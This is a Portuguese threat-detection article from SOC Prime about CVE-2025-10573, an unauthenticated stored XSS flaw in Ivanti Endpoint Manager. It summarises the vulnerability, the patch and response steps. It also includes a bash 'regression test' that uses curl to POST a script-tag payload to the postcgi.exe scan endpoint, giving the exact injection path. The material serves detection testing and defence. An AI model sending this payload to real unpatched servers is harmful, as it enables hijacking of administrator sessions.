SOC Prime Bias: Crítico

10 Dez 2025 19:54

CVE-2025-10573: Vulnerabilidade XSS Armazenada Não Autenticada na Ivanti EPM (Corrigida)

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
CVE-2025-10573: Vulnerabilidade XSS Armazenada Não Autenticada na Ivanti EPM (Corrigida)
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O Ivanti Endpoint Manager (EPM) contém uma vulnerabilidade de cross-site scripting, que permite que um invasor não autenticado injete JavaScript malicioso nos dados de verificação do dispositivo. Quando esse payload é exibido no painel da web do console de gerenciamento, ele pode ser usado para sequestrar a sessão de um administrador. O problema está sendo identificado como CVE-2025-10573 e possui uma pontuação CVSS de 9.6.

Investigação

A Rapid7 analisou uma implantação central do Ivanti EPM 11.0.6 no Windows Server 2022 e descobriu que uma requisição POST manipulada para /incomingdata/postcgi.exe com campos de key=value maliciosos faz com que o JavaScript seja armazenado e posteriormente executado na interface do admin. O comportamento inseguro do binário CGI postcgi.exe, que grava arquivos de verificação fora da raiz da web, possibilita esse caminho de injeção.

Mitigação

A Ivanti lançou um patch em 09/12/2025, e atualizar para a versão 2024 SU4 SR1 do Ivanti EPM remove a vulnerabilidade. A Rapid7 irá disponibilizar uma verificação autenticada de vulnerabilidade para os clientes do Exposure Command, InsightVM e Nexpose, para ajudar a identificar instalações afetadas.

Resposta

As organizações devem implementar imediatamente a atualização 2024 SU4 SR1, restringir o acesso não autenticado à API /incomingdata e monitorar os logs do servidor web para requisições POST direcionadas ao postcgi.exe. Também devem revisar sessões de administradores em busca de sinais de sequestro e rodar quaisquer credenciais que possam ter sido comprometidas.

Fluxo de Ataque

Ainda estamos atualizando esta parte. Inscreva-se para ser notificado

Notifique-me

Execução de Simulação

Pré-requisito: A Verificação de Pré-voo de Telemetria & Baseline deve ter sido aprovada.

Justificação: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa & Comandos de Ataque:
    Um invasor, ao descobrir que o endpoint de verificação do Ivanti EPM não é autenticado, cria uma carga de verificação maliciosa incorporando uma<script>tag que exibe um alerta (representando o sequestro de sessão). O invasor usacurlpara POSTAR esse payload, imitando uma submissão legítima de verificação de dispositivo. Como o payload corresponde exatamente à string que a regra observa, o SIEM deve gerar um alerta.

  • Script de Teste de Regressão:

    #!/bin/bash
    # -------------------------------------------------
    # Simular XSS armazenado contra a API de verificação do Ivanti EPM
    # -------------------------------------------------
    
    # URL alvo (ajuste o host conforme necessário)
    TARGET="https://ivanti.example.com/incomingdata/postcgi.exe?prefix=ldscan&suffix=.scn&name=scan"
    
    # Payload malicioso - exatamente a string que a regra espera
    PAYLOAD="<script>alert('Conta de administrador foi sequestrada')</script>"
    
    # Corpo XML completo que o Ivanti EPM espera (simplificado)
    XML_BODY="<scan><device><id>99999</id><notes>${PAYLOAD}</notes></device></scan>"
    
    # Enviar a requisição
    curl -k -X POST "$TARGET" 
      -H "Content-Type: application/xml" 
      -d "$XML_BODY"
    
    echo "Verificação maliciosa enviada."
  • Comandos de Limpeza:
    Os dados da verificação persistem no banco de dados do Ivanti EPM; a exclusão normalmente requer um administrador autenticado. Para fins de teste, a etapa de limpeza é limitada à remoção do arquivo de teste de qualquer captura de log local.

    #!/bin/bash
    # Simples limpeza: remover logs temporários do curl (se houver)
    rm -f /tmp/curl_log_*
    echo "Artefatos de teste local removidos."